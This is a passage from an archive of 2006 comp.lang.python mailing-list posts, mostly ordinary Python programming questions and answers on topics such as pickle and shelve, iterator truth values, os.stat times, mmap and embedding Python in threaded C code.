<1159828738.510075.153600@i42g2000cwa.googlegroups.com> <1159837482.121713.219710@i3g2000cwc.googlegroups.com> Message-ID: SpreadTooThin wrote: > Robert Kern wrote: >> jakobsg at gmail.com wrote: >>> To your question on casting long to short. This is how: >>> a=1234L # long >>> b=int(a) # int (short) >> No, a Python int is a C long. A Python long is an arbitrary-precision number and >> does not correspond to any C type. > > So there is no short(number) casting? Not in core Python, no, since C short ints have no Python type directly corresponding to them. As John Machin pointed out, if you had tried what you proposed, it would have worked just fine. If you find that you keep needing to deal with the various C integer and floating point types (and arrays of such), you might want to consider using numpy. http://numpy.scipy.org In [15]: import numpy In [16]: a = numpy.array([65537], dtype=numpy.uint32) In [17]: a Out[17]: array([65537], dtype='uint32') In [18]: b = a.astype(numpy.uint16) In [19]: b Out[19]: array([1], dtype='uint16') In [20]: numpy.uint16(a[0]) Out[20]: 1 -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From google at mrabarnett.plus.com Tue Oct 3 19:58:17 2006 From: google at mrabarnett.plus.com (MRAB) Date: 3 Oct 2006 16:58:17 -0700 Subject: Resuming a program's execution after correcting error In-Reply-To: <1159889617.610051.100990@b28g2000cwb.googlegroups.com> References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com> <1159483617.159482.169770@i3g2000cwc.googlegroups.com> <1159889617.610051.100990@b28g2000cwb.googlegroups.com> Message-ID: <1159919897.485421.305490@m73g2000cwd.googlegroups.com> Sheldon wrote: > MRAB wrote: > > Sheldon wrote: > > > Hi. > > > > > > Does anyone know if one can resume a python script at the error point > > > after the error is corrected? > > > I have a large program that take forever if I have to restart from > > > scratch everytime. The error was the data writing a file so it seemed > > > such a waste if all the data was lost and must be recalculated again. > > > > > You could modify the program while you're debugging it so that instead > > of, say: > > > > calculate data > > write data > > > > you have: > > > > if saved data exists: > > load data > > else: > > calculate data > > save data > > write data > > > > The pickle module would be useful here. > > > > Matthew > > I like your idea Matthew but I don't know how to pickle the many > variables in one file. Do I need to pickle each and every variable into > a seperate file? > var1,var2 > pickle.dump(var1,f) > pickle.dump(var2,f2) > Using the 'pickle' module: # To store: f = open(file_path, "wb") pickle.dump(var1, f) pickle.dump(var2, f) f.close() # To load f = open(file_path, "rb") var1 = pickle.load(f) var2 = pickle.load(f) f.close() A more flexible alternative is to use the 'shelve' module. This behaves like a dict: # To store s = shelve.open(file_path) s["var1"] = "first" s["var2"] = [2, 3] s.close() # To load s = shelve.open(file_path) print s["var1"] # This prints "first" print s["var2"] # This prints [2, 3] s.close() Hope that helps Matthew From fredrik at pythonware.com Fri Oct 27 05:17:20 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 27 Oct 2006 11:17:20 +0200 Subject: Simple problem with GUI!! References: <1161940106.084921.187460@i3g2000cwc.googlegroups.com> Message-ID: "mohan" wrote: > At the end I had to close down my entire python compiler. I am using > Python compiler with following specs in Windows XP OS. > > Pythonwin - Python IDE and GUI Framework for Windows. > PythonWin 2.2.1 (#34, Feb 25 2003, 11:29:09) [MSC 32 bit (Intel)] on > win32. > Portions Copyright 1994-2001 Mark Hammond > > Please let me know why is this happening and also if I am missing > something in the way of programming. the PythonWin IDE doesn't work properly when you're running programs that does their own Windows event handling. this is a problem with PythonWin, not with Tkinter or your program. to solve this, you can either 1) check if you can make PythonWin run the program in a separate process 2) explicitly run the program in its own process (using "python.exe" or "pythonw.exe"), from the command line. 3) switch to an IDE that runs Python code in a separate process (such as IDLE, Wing, and most other modern IDE:s). From pavlovevidence at gmail.com Thu Oct 26 23:41:16 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 26 Oct 2006 20:41:16 -0700 Subject: Truth value of iterators [was: question about True values) In-Reply-To: References: <17727.47016.632530.720950@montanaro.dyndns.org> <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> <7xfydbhkso.fsf@ruckus.brouhaha.com> <7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar> <1161917196.676362.318480@h48g2000cwc.googlegroups.com> Message-ID: <1161920476.414495.119680@m7g2000cwm.googlegroups.com> Ben Finney wrote: > "Carl Banks" writes: > > > An iterator is not a sequence, and it's impossible to determine > > whether an iterator is "empty" in general, except by trying to get > > an item from it. [...] > > > > IMO, this is big time wart in the language. Iterators have no > > calculatable truth value; for many other types a truth value doesn't > > make sense (for instance: function objects, type objects, modules, > > user-defined types that don't bother with __nonzero__). Using such > > objects in a boolean context is almost always an error. > > It still seems like a reasonable thing for a programmer to do though, > even if the language doesn't currently support it. > > Would it make sense to *define* a truth value for iterators? Or at > least to enable those that *are* able to say "I'm empty" to do so in a > way that boolean contexts can interpret as "false"? Again, it's impossible to tell if an iterator is empty in general except by trying to get an item. You could add a feature to iterators that fetches an item and stores it, but that would a. be a pain in the neck for everyone, and b. adversely affect iterators that depend on outside factors. > Perhaps allowing (but not requiring) an iterator object to grow a > 'len' method is the simplest way. I could live with some iterators defining __len__ or even __nonzero__, as long as iterators that couldn't determine these things threw an exception rather than returning a fake value. I'd rather no iterators did this, though, because having these options makes it likely that some programmers will write code supporting only "len-able iterators", thus hindering polymorphism unnecessarily. I'd rather people use iterators as iterators and not as temporally-challenged lists. However, it's certainly helpful sometimes to know if an iterator has any items left (say, to possibly avoid some initialization code). I don't think this should be a part of iterator protocol, but maybe it'd be nice if somewhere in the the standard library there was an iterator type such as this: class EmptySavvyIterator(object): noitem = object() def __init__(self,iterable): self.iterator = iter(iterable) self.storage = self.noitem def __iter__(self): return self def next(self): if self.storage is not self.noitem: item = self.storage self.storage = self.noitem return item return self.iterator.next() def empty(self): if self.storage is not self.noitem: return False try: self.storage = self.iterator.next() except StopIteration: return True return False # if you must... def __nonzero__(self): return not self.empty() Carl Banks From ericlake at gmail.com Wed Oct 18 16:01:20 2006 From: ericlake at gmail.com (elake) Date: 18 Oct 2006 13:01:20 -0700 Subject: Flushing standard input References: Message-ID: <1161201680.409693.326950@f16g2000cwb.googlegroups.com> I found this. http://mail.python.org/pipermail/python-list/2006-September/359296.html You cannot flush input. The flush method only relates to output. The *other* side of the file has to flush *its* output in order for you to see it as input. From glassfordm at hotmail.com Mon Oct 2 10:15:26 2006 From: glassfordm at hotmail.com (Michael Glassford) Date: Mon, 02 Oct 2006 10:15:26 -0400 Subject: Problems wth os.stat().st_mtime on Mac In-Reply-To: <451DA3C5.8020407@v.loewis.de> References: <451DA3C5.8020407@v.loewis.de> Message-ID: <45211EFE.1020104@hotmail.com> Martin v. L?wis wrote: > Michael Glassford schrieb: >> Although not mentioned in the Python 2.5 News, apparently there was a >> similar change on Mac that I'm having some problems with. On the Mac, >> just as on Windows, os.stat().st_mtime now returns a float instead of an >> integer. > > It's isn't really new; os.stat_float_times was introduced in Python 2.3. > What changed in 2.5 is that it is now true. See > > http://docs.python.org/whatsnew/modules.html Thanks, I wasn't aware of os.stat_float_times. This helps me a lot, since I can turn off the floating point times in places until incompatible code can be fixed. > >> a) Why the difference between machines? > > You really have to delve into OSX to answer this question. Several > reasons are possible: > - there is a change in the operating system implementations Possible, I guess, although I don't know how to find out and there's likely nothing I could do about it even if I did. > - you are using different Python versions Python 2.5 on both. > - you are using different file systems This is the first thing I thought of, but all of the drives are formatted using "Mac OS Extended (Journalled)", which I assumed meant they are using the same file system. > >> b) Why do most files on this machine have ".0", while some (generally >> those I created myself using Python 2.5, I think) don't? > > Hard to tell. Maybe the software that created those files explicitly > set a time stamp on them, and failed to use the API that supports > subsecond resolution in setting those time stamps. > >> I understand how the results can be different: the os.stat() function >> returns a posix.stat_result object, which gives back an integer value >> for the mtime if you call __str__ or __repr__, or if you iterate on it; >> and a float if you get the st_mtime attribute. But I would consider it a >> bug that the results are different: a float should be returned in either >> case. > > That's for backwards compatibility: You shouldn't use the tuple > interface anymore, but use st_mtime for new code. This will always > be a float. OTOH, the tuple interface will continue to return > integers forever OK, thanks for the explanation. Mike From ewijaya at i2r.a-star.edu.sg Mon Oct 16 04:04:14 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Mon, 16 Oct 2006 16:04:14 +0800 Subject: Where to find pydoc? Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615AD@mailbe01.teak.local.net> I tried to call pydoc from my Linux box. To my realization that it doesn't contain pydoc. I thought this module should be a default module. Can anybody suggest where can I find the module? I tried: $ easy_install pydoc Searching for pydoc Reading http://sqlobject.org/ Reading http://peak.telecommunity.com/dist Reading http://www.python.org/pypi/pydoc/ Couldn't find index page for 'pydoc' (maybe misspelled?) Scanning index of all packages (this may take a while) Reading http://www.python.org/pypi/ No local packages or download links found for pydoc error: Could not find suitable distribution for Requirement.parse('pydoc') Hope to hear from you again. Regards, Edward WIJAYA SINGAPORE ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From skip at pobox.com Wed Oct 25 15:14:48 2006 From: skip at pobox.com (skip at pobox.com) Date: Wed, 25 Oct 2006 14:14:48 -0500 Subject: question about True values In-Reply-To: References: Message-ID: <17727.47016.632530.720950@montanaro.dyndns.org> John> I'm a little confused. Why doesn't s evaluate to True in the first John> part, but it does in the second? Is the first statement something John> different? >>> s = 'hello' >>> s == True False >>> if s: ... print 'hi' hi s is not equal to the boolean object True, but it also doesn't evaluate to the string class's "nil" value. Each of the builtin types has such an "empty" or "nil" value: string "" list [] tuple () dict {} int 0 float 0.0 complex 0j set set() Any other value besides the above will compare as "not false". Skip From stefan.behnel-n05pAM at web.de Sat Oct 28 18:15:22 2006 From: stefan.behnel-n05pAM at web.de (Stefan Behnel) Date: Sun, 29 Oct 2006 00:15:22 +0200 Subject: Regular Expression help for parsing html tables In-Reply-To: <1162071780.766299.274830@e64g2000cwd.googlegroups.com> References: <1162071780.766299.274830@e64g2000cwd.googlegroups.com> Message-ID: <4543d67b$0$27608$9b4e6d93@newsspool2.arcor-online.net> Hi Steve, steve551979 at hotmail.com wrote: > I am having some difficulty creating a regular expression for the > following string situation in html. I want to find a table that has > specific text in it and then extract the html just for that immediate > table. Any reason why you can't use a real HTML parser and API (e.g. the one provided by lxml)? That can really make things easier here. http://codespeak.net/lxml/ http://codespeak.net/lxml/api.html#parsers http://codespeak.net/lxml/api.html#trees-and-documents http://effbot.org/zone/element-index.htm Stefan From rtw at freenet.co.uk Tue Oct 31 07:00:17 2006 From: rtw at freenet.co.uk (Rob Williscroft) Date: Tue, 31 Oct 2006 06:00:17 -0600 Subject: Where do nested functions live? References: Message-ID: Frederic Rentsch wrote in news:mailman.1536.1162292996.11739.python- list at python.org in comp.lang.python: > Rob Williscroft wrote: >> Frederic Rentsch wrote in news:mailman.1428.1162113628.11739.python- >> list at python.org in comp.lang.python: >> >> >> def whatever( new_ms ): >> class namespace( object ): >> pass >> scope = namespace() >> >> def inner(): >> scope.mseconds = new_ms - s * 1000 >> m, scope.seconds = divmod (s, 60) >> h, scope.minutes = divmod (m, 60) >> d, scope.hours = divmod (h, 24) >> scope.weeks, scope.days = divmod (d, 7) >> >> > > This is interesting. I am not too familiar with this way of using > objects. Actually it isn't all that different from a list, because a > list is also an object. But this way it's attribute names instead of > list indexes which is certainly easier to work with. Very good! > >> In short I think an "outer" keyword (or whatever it gets called) >> will just add another way of doing something I can already do, >> and potentially makes further refactoring harder. >> >> > > Here I'm lost. What's the advantage of this? It looks more convoluted. I'll agree that having to explicitly define a namespace class first does add some convolution. But if you refer to having to prefix you "outer" variables with "scope." then this would be the same as claiming that the explict use of self is convoluted, which is a valid opinion, so fair enough, but I can't say that I agree. It should also be noted that although I have to declare and create a scope object. My method doesn't require the attributes passed back from the inner function be pre-declared, should I during coding realise that I need to return another attribute I just assign it in the inner function and use it in the outer function. I would count that as less convoluted, YMMV. > And speaking of convoluted, what about efficiency? There is much talk > of efficiency on this forum. I (crudely) benchmark your previous > example approximately three times slower than a simple inner function > taking and returning three parameters. It was actually the aspect of > increased efficiency that prompted me to play with the idea of > allowing direct outer writes. Did you have optimisation turned on ? As I see it there should be no reason an optimiser couldn't transform my code into the same code we might expect from your "outer keyword" example, as the scope object's type and attributes are all contained within (thus known to) the outer function defenition. Wether CPython's optimiser does this or not, I don't know. > >> Thats -2 import-this points already. >> >> > > Which ones are the two? Explicit is better than implicit. There should be one-- and preferably only one --obvious way to do it. Rob. -- http://www.victim-prime.dsl.pipex.com/ From fredrik at pythonware.com Mon Oct 30 04:45:38 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 10:45:38 +0100 Subject: Lookuperror : unknown encoding : utf-8 In-Reply-To: <1162201096.705529.50330@k70g2000cwa.googlegroups.com> References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> <1162194168.044962.262720@b28g2000cwb.googlegroups.com> <1162196598.260229.224100@e3g2000cwe.googlegroups.com> <1162197440.574405.195010@m7g2000cwm.googlegroups.com> <1162198497.288698.244940@k70g2000cwa.googlegroups.com> <1162199750.797149.317970@m7g2000cwm.googlegroups.com> <1162200427.209299.4920@m73g2000cwd.googlegroups.com> <1162201096.705529.50330@k70g2000cwa.googlegroups.com> Message-ID: Sachin Punjabi wrote: > I installed the newer version on D drive and it was previously > installed on C drive. Also the command which bjorn asked me to execute > on command line worked very much fine. what happens if you *type* in the problematic statements at the command line, e.g. >>> import codecs >>> f = codecs.open( "/python24/README.txt", "r", "utf-8" ) if this still gives you the same exception, what output do you do the same in a Python interpreter run with the "-v" option: > d: > cd \python24 > python -v ... >>> import codecs >>> f = codecs.open( "README.txt", "r", "utf-8" ) From http Thu Oct 26 03:35:38 2006 From: http (Paul Rubin) Date: 26 Oct 2006 00:35:38 -0700 Subject: using mmap on large (> 2 Gig) files References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161648415.830523.225520@k70g2000cwa.googlegroups.com> <1161730045.377608.221250@e3g2000cwe.googlegroups.com> <7xr6wvbsf2.fsf@ruckus.brouhaha.com> Message-ID: <7xy7r3y1f9.fsf@ruckus.brouhaha.com> Chetan writes: > > Why on would you think that?! It is counterintuitive. fseek beyond > > whatever is buffered in stdio (usually no more than 1kbyte or so) > > requires a system call, while mmap is just a memory access. > And the buffer copy required with every I/O from/to the application. Even that can probably be avoided since the mmap region has to start on a page boundary, but anyway regular I/O definitely has to copy the data. For mmap, I'm thinking mostly of the case where the entire file is paged in through most of the program's execution though. That obviously wouldn't apply to every application. > > IMO it should have some kind of IPC locking mechanism added, in > > addition to the offset stuff suggested. > The type of IPC required differs depending on who is using the > shared region - either another python process or another external > program. Apart from the spinlock primitives, other types of > synchronization mechanisms are provided by the OS. However, I do see > value in providing a shared memory based spinlock mechanism. I mean just have an interface to OS locks (Linux futex and whatever the Windows counterpart is) and maybe also a utility function to do a compare-and-swap in user space. From horpner at yahoo.com Thu Oct 19 12:33:23 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 19 Oct 2006 18:33:23 +0200 Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> <1161252764.244873.134740@f16g2000cwb.googlegroups.com> <2m8k04-gfe.ln1@nb2.stroeder.com> Message-ID: On 2006-10-19, Marc 'BlackJack' Rintsch wrote: > In , Neil Cerutti wrote: > >>> Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode >>> object. With print this is implicitly converted to string. The >>> char set used depends on your console >> >> No, the setting of the console encoding (sys.stdout.encoding) is >> ignored. > > Nope, it is not ignored. This would not work then:: > > In [2]: print 'K\xc3\xb6nig'.decode('utf-8') > K?nig > > In [3]: import sys > > In [4]: sys.getdefaultencoding() > Out[4]: 'ascii' Interesting! Thanks for the correction. -- Neil Cerutti This scene has a lot of activity. It is busy like a bee dive. --Michael Curtis From jcd at sdf.lonestar.org Thu Oct 19 14:14:33 2006 From: jcd at sdf.lonestar.org (J. Clifford Dyer) Date: Thu, 19 Oct 2006 12:14:33 -0600 Subject: OT--Shuffling, was Re: invert or reverse a string... warning this is a rant References: Message-ID: Demel, Jeff wrote: > P.S. How about a string.shuffle() method that splits the string in half > into two new strings str1 and str2, and then recompiles the string by > alternating one character from each str1 and str2 as it goes? Like > shuffling cards. ;) Jeff, To my mind that would be the exact opposite of shuffling a deck of cards. In your case, each time, you know exactly which stack the card comes from, but not which card out of the stack. When you shuffle cards, it's more like you know exactly which card is coming next off of each stack, you just don't know which stack it's pulling from next. import random def shuffle(seq): midpoint = len(seq)/2 stack1 = seq[:midpoint] stack2 = seq[midpoint:] shuffled = [] while stack1 and stack2: next = random.choice((stack1, stack2)) shuffled.append(next.pop()) if stack1: shuffled.extend(stack1) else: shuffled.extend(stack2) return shuffled From jarrod.roberson at gmail.com Wed Oct 4 13:50:16 2006 From: jarrod.roberson at gmail.com (fuzzylollipop) Date: 4 Oct 2006 10:50:16 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it> References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <1159984216.052926.207290@i42g2000cwa.googlegroups.com> Giovanni Bajo wrote: > Hello, > > I just read this mail by Brett Cannon: > http://mail.python.org/pipermail/python-dev/2006-October/069139.html > where the "PSF infrastracture committee", after weeks of evaluation, recommends > using a non open source tracker (called JIRA - never heard before of course) > for Python itself. > > Does this smell "Bitkeeper fiasco" to anyone else than me? > -- > Giovanni Bajo No just ignorance you your part! Jira is given away for free to open source projects that want to use it. And it just happens to be one of the best issue trackers on the market, free or paid or opens source or not. From hanumizzle at gmail.com Tue Oct 3 19:47:15 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Tue, 3 Oct 2006 19:47:15 -0400 Subject: kudos Message-ID: <463ff4860610031647uf4307e3wea89d41c78040099@mail.gmail.com> After a long hiatus, I finally found *something* as a vehicle to learn Python. My friends and I are (hopefully) getting together to play FEAR RPG and I decided to use Python to write chargen utilities and such. What do I have to say? Except for not having TrueClosures, which can be emulated with objects anyway, way better than Perl. Of course I still develop and one-line frob with Perl, but Python might even take over in the latter capacity if I become fluent as I have in Perl. The community is also a significant advantage always, which is why I use Vector Linux as well. In principle, I like Ruby in some ways better than I do Python, but as far as pragmatism goes: Py for teh win! ipython just owns house on irb. Had to say it. reStructuredText looks like it might also be very useful to me. Greetings to all. -- What if Iraqis were blastocysts? From spe.stani.be at gmail.com Mon Oct 30 06:03:33 2006 From: spe.stani.be at gmail.com (SPE - Stani's Python Editor) Date: 30 Oct 2006 03:03:33 -0800 Subject: wxFrame don't have Bind attribute ?? In-Reply-To: <1162189869.503325.51280@b28g2000cwb.googlegroups.com> References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com> Message-ID: <1162206213.179948.44680@e3g2000cwe.googlegroups.com> Jia Lu schreef: > Hi all > I am using wxPy 2.6.3.2-2, But when run an application with self.Bind > , I got an error that there is no Bind. > > How can I fix it. thanx You can not bind an event to a wx application. You must bind an event to a wx frame or control. You'll get more and better support on the wxpython-user mailing list. Stani -- http://pythonide.stani.be From johnjsal at NOSPAMgmail.com Mon Oct 30 14:50:30 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 30 Oct 2006 19:50:30 GMT Subject: checking if a sqlite connection and/or cursor is still open? In-Reply-To: References: Message-ID: John Salerno wrote: > Is there a way to check if a SQLite connection and cursor object are > still open? I took a look at the docs and the DB API but didn't see > anything like this. > > Thanks. Well, I might have somewhat solved this problem. Since SQLite allows you to use execute* methods directly on the connection object (thus no need to create a cursor object), all I need to do is call connection.close() and this doesn't seem to raise an error even if the connection has already been closed. I'm still curious if there's a way to check for an open connection, but it seems like without the cursor object, the task is much easier. From neoedmund at gmail.com Sun Oct 15 22:29:18 2006 From: neoedmund at gmail.com (neoedmund) Date: 15 Oct 2006 19:29:18 -0700 Subject: python's OOP question In-Reply-To: References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> Message-ID: <1160965758.324644.131920@i42g2000cwa.googlegroups.com> I'm trying to achieve a higher level of "reusability". Maybe it cannot be done in python? Can anybody help me? Ben Finney wrote: > "neoedmund" writes: > > > There's a program, it's result is "unexpected aaa", i want it to be > > "expected aaa". how to make it work? > > > > [code] > > > > class C1(object): > > def v(self, o): > > return "expected "+o > > > > class C2(object): > > def v(self, o): > > return "unexpected "+o > > def m(self): > > print self.v("aaa") > > > > class C3(object): > > def nothing(self): > > pass > > > > def test1(): > > o = C3() > > setattr(o,"m",C2().m) > > setattr(o,"v",C1().v) > > o.m() > > Setting attributes on an object externally isn't the same thing as > making bound methods of that object. > > In this case, 'o.m' is a bound method of a C2 instance, and has no > knowledge of C1. 'o.v' is a bound method of a C1 instance, and has no > knowledge of C2. Neither of them has any knowledge of C3. > > What is it you're trying to achieve? > > -- > \ "Unix is an operating system, OS/2 is half an operating system, | > `\ Windows is a shell, and DOS is a boot partition virus." -- | > _o__) Peter H. Coffin | > Ben Finney From debl2NoSpam at verizon.net Sun Oct 29 20:23:47 2006 From: debl2NoSpam at verizon.net (David Lees) Date: Mon, 30 Oct 2006 01:23:47 GMT Subject: Observation on "Core Python Programming" In-Reply-To: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> Message-ID: John Coleman wrote: > Greetings, > My copy of the second edition of Chun's "Core Python Programming" > just arrived from Amazon on Friday. What really jumped out at me is an > interesting feature about how it sequences its topics, namely, > (user-defined) functions are not introduced until chapter 11, fully 400 > pages into the book. This contrasts strongly with a traditional Pages 48-50 is a section titled: 'Functions' and he gives both a top level description and example. True he does not have a chapter devoted to functions still page 400, but he does give examples of usage along the way. david lees > From eldiener_no_spam_here at earthlink.net Tue Oct 10 11:07:27 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Tue, 10 Oct 2006 15:07:27 GMT Subject: Python component model In-Reply-To: References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: Tim Chase wrote: >> There's no doubt that Python's excellent introspection mechanism >> allows an outside RAD-like tool to inspect the workings of any Python >> object. But that does not make it a component model in my original use >> of the term on this thread. A RAD tool needs to know what properties >> and events within a class can be manipulated visually, and it needs to >> be able to serialize those properties and events so that they are set >> at run-time automatically once an object is created. > > A little visual inspection of some objects: > > tim at oblique:~$ python > Python 2.3.5 (#2, Sep 4 2005, 22:01:42) > [GCC 3.3.5 (Debian 1:3.3.5-13)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> class Person(object): > ... def __init__(self, name, age=None): > ... self.name = name > ... self.age = age > ... def whoami(self): > ... if self.age is not None: > ... return "%s (%i)" % ( > ... self.name, > ... self.age) > ... return self.name > ... > >>> p = Person("Sandy") > >>> [s for s in dir(p) if not s.startswith('_') and > callable(eval('p.%s' % s))] > ['whoami'] > >>> [s for s in dir(p) if not s.startswith('_') and not > callable(eval('p.%s' % s))] > ['age', 'name'] > > Thus, you have the ability to find an object's methods/events (things > that are callable()), and its properties (things that are not > callable()). Any "RAD" tool that wants can pull these properties, just > as my command-line RAD tool can ;) Not all attributes are component properties in typical Visual RAD tool. In most visual RAD tools which I have used a component property is a publicly exposed type/name which may or may not have the backing of an actual data member and does have a function to get the type's value if the property is readable and does have a function associated with it to set the type's value if the property is writable. This is very close to the class properties in Python. The difference is that normally a type must be associated with a property whereas in Python, as I understand it, the type of a class property is unknown. Furthermore by a component event I do not mean methods on the event creator's side but rather an event source. This would look something like a tuple of callable functions of a particular signature to which an event sink could add an event handler so that when a particular event occurred on the event source the event handlers added to the event source would each be called. > > As for serializing them, > > >>> import shelve > >>> d = shelve.open('tmp/stuff.shlv') > >>> d['person'] = p > >>> p = 'hello' > >>> p > 'hello' > >>> p = d['person'] > >>> p.whoami() > 'Sandy' > >>> p.age = 42 > >>> p.whoami() > 'Sandy (42)' > >>> d['person'] = p > >>> d.close() > >>> p = 'hello2' > >>> p > 'hello2' > >>> d = shelve.open('tmp/stuff.shlv') > >>> p = d['person'] > >>> p.whoami() > 'Sandy (42)' > > which seems to work fine for me. This can be used for creating all > sorts of flavors of objects at design time, storing them, and then > restoring them at runtime. I realize that Python has excellent abilities in all these areas, including serialization. But a component model for serialization must not only have the ability of serializing and deserializing all of the component's data, as well as any base classes, it must also have a means of allowing the class itself to specify which data needs to be serialized and which not, as well as allow for the class to seriliaze all or part of its own data. From belred at gmail.com Mon Oct 23 09:32:07 2006 From: belred at gmail.com (Bryan) Date: Mon, 23 Oct 2006 06:32:07 -0700 Subject: python thread state Message-ID: hi, i'm trying to write a multithreaded embedded python application and i'm having some trouble. i found this article "embedding python in multi-threaded c/c++ applications" in the python journal (http://www.linuxjournal.com/article/3641) but there still seems to be a step missing for me. each time a function in my c module is called, it's called on a different c thread. i would then like to call a function in an embedded python script. from my understanding of the article, you can associate a python script with a c thread by calling PyThreadState_New as in this code: // save main thread state PyThreadState * mainThreadState = NULL; mainThreadState = PyThreadState_Get(); PyEval_ReleaseLock(); // setup for each thread PyEval_AcquireLock(); PyInterpreterState * mainInterpreterState = mainThreadState->interp PyThreadState * myThreadState = PyThreadState_New(mainInterpreterState); PyEval_ReleaseLock(); //execute python code PyEval_AcquireLock(); PyThreadState_Swap(myThreadState); # execute python code PyThreadState_Swap(NULL); PyEval_ReleaseLock(); unfortunately, this doesn't work for me because each time i get called to execute python code, i'm in a new c thread and PyThreadState_Swap seems to want to be executed in the same c thread that PyThreadState_New was executed in. if this isn't the case, please let know. i then called PyThreadState_New each time i wanted to call a python function in the script, but PyThreadState_New wipes out, or rather gives you a new global dictionary, because i lost all my global variables. the article assumes you have one c thread per python thread state, but i want multiple c threads per python thread state. Is there a c api function that will associate a c thread without resetting the global dictionary? thank you, bryan From fdu.xiaojf at gmail.com Fri Oct 20 02:08:40 2006 From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com) Date: Fri, 20 Oct 2006 14:08:40 +0800 Subject: How to upgrade python from 2.4.3 to 2.4.4 ? Message-ID: <453867E8.4080702@gmail.com> Hi, I just want to upgrade my python version from 2.4.3 to 2.4.4,do I need to uninstall python 2.4.3 first ? I'd rather not to do so, because I have installed some other python packages for python2.4.3. Thanks. xiaojf From carsten at uniqsys.com Tue Oct 24 11:41:37 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Tue, 24 Oct 2006 11:41:37 -0400 Subject: Sorting by item_in_another_list In-Reply-To: <7.0.1.0.0.20061024123048.05772100@yahoo.com.ar> References: <7.0.1.0.0.20061024123048.05772100@yahoo.com.ar> Message-ID: <1161704497.2516.12.camel@dot.uniqsys.com> On Tue, 2006-10-24 at 11:31, Gabriel Genellina wrote: > At Tuesday 24/10/2006 04:35, Cameron Walsh wrote: > > > > c = set(B) > > > a.sort(key=c.__contains__, reverse=True) > > > > > > Tim Delaney > > > >Depressingly simple. I like it. > > ...and fast! ...and not guaranteed to be correct: http://www.python.org/doc/2.3.5/lib/typesseq-mutable.html states: """ Whether the sort() method is stable is not defined by the language (a sort is stable if it guarantees not to change the relative order of elements that compare equal). In the C implementation of Python, sorts were stable only by accident through Python 2.2. The C implementation of Python 2.3 introduced a stable sort() method, but code that intends to be portable across implementations and versions must not rely on stability. """ -Carsten From matthew_j_warren at hotmail.com Fri Oct 6 06:42:31 2006 From: matthew_j_warren at hotmail.com (MatthewWarren) Date: 6 Oct 2006 03:42:31 -0700 Subject: OT Request Message-ID: <1160131350.971760.132110@i42g2000cwa.googlegroups.com> > This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. > > You should not copy the email, use it for any purpose or disclose its contents to any other person. > Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. > It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. > > Pardon, but is there any possibility you can disable this rather >long block? I'm presuming you are accessing via the mailing list, but >hat mailing list is gatewayed to a Usenet news group (and unless you've >anaged to embed an X-noarchive header in email, Google Groups is going >o have the message available in perpetuity). There is no single >intended recipient" -- the messages are being sent to anyone in the >orld interested in reading comp.lang.python, so all this overhead is >eaningless. No problem, and thanks for pointing it out. It gets silently added on its way through, and i just hadnt noticed it in my posts. Posting this time through google groups :) From fredrik at pythonware.com Thu Oct 5 05:55:08 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 5 Oct 2006 11:55:08 +0200 Subject: embedding python -- windows specify problems References: <4524cda2$1@clarion.carno.net.au> Message-ID: John Pye wrote: > I have been working on some new code that embeds python in an C > application. The embedding is working fine under Linux but crashing > under Windows (XP) when I reach the following step. > > PyRun_AnyFile(f,name); > > If there's some python exception being thrown by the PyRun_AnyFile call, > how can I retrieve it from C? > > Even when the file (f) being run by Python contains only a 'print' > statement, the application still crashes on WinXP. the contents and the layout of the FILE structure isn't defined, so PyRun_AnyFile() only works if you make sure to open the file using *exactly* the same run time library as Python itself uses. it's usually easier to hand the problem over to the interpreter: PyRun_SimpleString("execfile('myscript.py')\n"); the same approach can be used to implement custom error handling, stdout/stderr redirects, etc. From rpmuller at gmail.com Sun Oct 15 12:47:47 2006 From: rpmuller at gmail.com (RickMuller) Date: 15 Oct 2006 09:47:47 -0700 Subject: paseline(my favorite simple script): does something similar exist? In-Reply-To: References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> Message-ID: <1160930867.264259.172470@h48g2000cwc.googlegroups.com> Amazing! There were lots of great suggestions to my original post, but I this is my favorite. Rick Fredrik Lundh wrote: > RickMuller wrote: > > > I'm posting this here because (1) I'm feeling smug at what a bright > > little coder I am > > if you want to show off, and use a more pythonic interface, you can do > it with a lot fewer lines. here's one example: > > def parseline(line, 